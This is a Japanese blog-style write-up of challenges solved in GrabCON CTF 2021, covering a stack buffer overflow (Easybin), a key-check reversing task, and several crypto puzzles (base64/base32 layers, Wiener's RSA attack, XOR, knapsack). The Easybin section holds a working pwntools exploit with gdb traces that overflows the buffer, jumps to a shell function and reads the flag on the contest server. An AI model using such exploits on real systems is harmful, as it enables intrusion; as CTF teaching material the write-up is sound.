GrabCON CTF 2021 Writeup

この大会は2021/9/4 19:30(JST)~2021/9/5 19:30(JST)に開催されました。
今回もチームで参戦。結果は 1750点で612チーム中61位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (MIsc)

問題にフラグが書いてあった。

GrabCON{welcome_to_grabcon_2021}

Discord (Misc)

Discordに入り、#roleチャネルのトピックを見ると、フラグが書いてあった。

GrabCON{s@n1ty_fl4g_1s_here}

Easybin (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_38 [48];
  
  gets(local_38);
  printf("well lets check if you can bypass me!!!");
  return 0;
}

undefined8 vuln(void)

{
  execve("/bin/sh",(char **)0x0,(char **)0x0);
  return 0;
}

BOFでvoln関数を呼び出せばよい。

$ file easybin 
easybin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=53862d3819c737c91f51fca860359fa1fab716c7, for GNU/Linux 4.4.0, not stripped

$ gdb -q ./easybin
BFD: warning: /mnt/hgfs/Shared/easybin: unsupported GNU_PROPERTY_TYPE (5) type: 0xc0008002
BFD: warning: /mnt/hgfs/Shared/easybin: unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
BFD: warning: /mnt/hgfs/Shared/easybin: unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
Reading symbols from ./easybin...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/easybin 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x0 
RSI: 0x405670 ("well lets check if you can bypass me!!!")
RDI: 0x405697 --> 0x0 
RBP: 0x4147414131414162 ('bAA1AAGA')
RSP: 0x7fffffffde58 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x40119d (<main+51>:	ret)
R8 : 0x0 
R9 : 0x0 
R10: 0x405010 --> 0x0 
R11: 0x0 
R12: 0x401060 (<_start>:	endbr64)
R13: 0x7fffffffdf30 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401192 <main+40>:	call   0x401030 <printf@plt>
   0x401197 <main+45>:	mov    eax,0x0
   0x40119c <main+50>:	leave  
=> 0x40119d <main+51>:	ret    
   0x40119e:	xchg   ax,ax
   0x4011a0 <__libc_csu_init>:	endbr64 
   0x4011a4 <__libc_csu_init+4>:	push   r15
   0x4011a6 <__libc_csu_init+6>:	
    lea    r15,[rip+0x2c53]        # 0x403e00
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde58 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffde60 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffde68 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffde70 ("AJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffde78 ("AAKAAgAA6AAL")
0040| 0x7fffffffde80 --> 0x4c414136 ('6AAL')
0048| 0x7fffffffde88 --> 0x77534f1f44bf2ca0 
0056| 0x7fffffffde90 --> 0x401060 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040119d in main ()
gdb-peda$ patto AcAA
AcAA found at offset: 56
gdb-peda$ p &vuln
$1 = (<text variable, no debug info> *) 0x401146 <vuln>

任意の56バイトの後にvuln関数のアドレス(0x401146)を64バイト文字列にしたものを指定すればよい。

from pwn import *

if len(sys.argv) == 1:
    p = remote('35.205.161.145', 49153)
else:
    p = process('./easybin')

payload = 'A' * 56
payload += p64(0x401146)

print payload
data = p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 35.205.161.145 on port 49153: Done
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF\x11\x00\x00\x00
[*] Switching to interactive mode
$ ls
easybin
flag.txt
run.sh
ynetd
$ cat flag.txt
GrabCON{w3ll_Y0u_Kn0w_Basics!!!}
GrabCON{w3ll_Y0u_Kn0w_Basics!!!}

Easy Rev (Reversing)

Ghidraでデコンパイルする。

undefined8 FUN_00101277(void)

{
  long in_FS_OFFSET;
  int local_20;
  undefined4 local_1c;
  undefined4 local_18;
  int local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_1c = 0x1466c7;
  local_18 = 0xdeb9d828;
  local_14 = 0x140685;
  puts("Looking for the flag?");
  printf("Enter the key: ");
  __isoc99_scanf(&DAT_0010202f,&local_20);
  if (local_14 == local_20) {
    FUN_001011a9();
  }
  else {
    puts("Wrong! Try Again ...");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

0x140685と数値として比較しているだけ。0x140685は10進数にすると、1312389になるので、これを指定すればよい。

$ ./baby_re_2
Looking for the flag?
Enter the key: 1312389
GrabCON{y0u_g0t_it_8bb31}
GrabCON{y0u_g0t_it_8bb31}

Warm-up (Crypto)

問題文より、base64デコード、base32デコードを5回行えばよい。

from base64 import *

with open('mukesh.txt', 'r') as f:
    data = f.read().rstrip()

for i in range(5):
    data = b64decode(data)
    data = b32decode(data)

print data
GrabCON{dayuum_s0n!}

Poke Ball RSA (Crypto)

eが大きいので、Wiener attackで復号する。

from fractions import Fraction
from Crypto.Util.number import *

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return long_to_bytes(pt)

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n/e))
        N = n
        n = e
        e = N%e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1,len(cf)+1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1/(tmp+j)
        kd.append((tmp.numerator,tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n/prev)/2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a,b):
    if a*a < 4*b or a < 0:
        return None
    c = int_sqrt(a*a-4*b)
    p = (a + c) /2
    q = (a - c) /2
    if p + q == a and p * q == b:
        return (p,q)
    else:
        return None

def wiener(n,e):
    kd = calcKD(continued_fractions(n,e))
    for (k,d) in kd:
        if k == 0:
            continue
        if (e*d-1) % k != 0:
            continue
        phin = (e*d-1) / k
        if phin >= n:
            continue
        ans = calcPQ(n-phin+1,n)
        if ans is None:
            continue
        return (ans[0],ans[1])

n = 498934084350094415783044823223130007435556803301613073259727203199325937230080661117917023582579699673759861892703348357714077684549303787581429366922208568924252052118455313229534699860304480039147103608782140303489222166267907007839021544433148286217133494762766492655602977085105487216032806292874190551319
e = 134901827939710543990222584187396847806193644190423846456160711527109836908087675183249532946675670587286594441908191054495871501233678465783530503352727362726294270065122447852357566161748618195216611965946646411519602447104878893524856862722902833460104389620397589021732407447981724307130484482495521398799
c = 100132888193232309251839777842498074992587507373917163874335385921940537055226546911990198769720313749286675018486390873216490470403470144298153410686092752282228631590006943913867497072931343354481759219425807850047083814816718302223434388744485547550941814186146959750515114700335721173624212499886218608818
p, q = wiener(n, e)

flag = decrypt(p, q, e, c)
print flag

復号結果は以下の通り。

e=2,c=9019127052844164572606928250741960583163943438936945828390420331200602392329

さらに暗号の問題になっている。cの値の平方根をとり、文字列に変換する。

import sympy
from Crypto.Util.number import *

c = 9019127052844164572606928250741960583163943438936945828390420331200602392329
m = sympy.sqrt(c)
flag = long_to_bytes(m)
print flag
GrabCON{*1}

Old Monk's Password (Crypto)

暗号の1文字目のASCIIコードがiになるので、それを元に復号する。

#!/usr/bin/python3

enc = b'\x0cYUV\x02\x13\x16\x1a\x01\x04\x05C\x00\twcx|z(((%.)=K%(>'

x = "hjlgyjgyj10hadanvbwdmkw00OUONBADANKHM;IMMBMZCNihaillm"

i = enc[0]
dec = ''
for c in enc[1:]:
    dec += chr(c ^ ord(x[i]))
    i = (i + 1) % 79

flag = 'GrabCON{%s}' % dec
print(flag)
GrabCON{817letmein40986728ilikeapples}

The Ancient Temple (Crypto)

暗号処理の概要は以下の通り。

・M = 7777771
・s = []
・l = 1337
・C = []
・n = []
・k: フラグの各文字の2進数の配列の配列
・s = [203, 877, 4140, 21147, 115975, 678570, 4213597]
・n = [(l * s[0]) % M, (l * s[1]) % M, ..., (l * s[6]) % M]
・kの各pについて、ビットが立っているところの対応するsを足し、Cに追加する。
・M, s, l, Cを出力

Merkle-Hellmanナップサック暗号のようになっているが、公開鍵が超増加列になっていない。各文字7bitで対応する暗号ができているので、ブルートフォースで復号する。

import itertools

with open('gen.txt', 'r') as f:
    M = int(f.readline().rstrip().split(' = ')[-1])
    s = eval(f.readline().rstrip().split(' = ')[-1])
    l = int(f.readline().rstrip().split(' = ')[-1])
    C = eval(f.readline().rstrip().split(' = ')[-1])

n = []
for i in range(len(s)):
    ni = (l * s[i]) % M
    n.append(ni)

flag = ''
for i in range(len(C)):
    for code in range(32, 127):
        p = map(int, list(bin(code)[2:].zfill(7)))
        C_curr = []
        for (x, y) in zip(p, n):
            C_curr.append(x * y)
        if sum(C_curr) == C[i]:
            flag += chr(code)
            break

print flag
GrabCON{kn4ps4ck_h45_g07_y0ur_baCK}

*1:^_^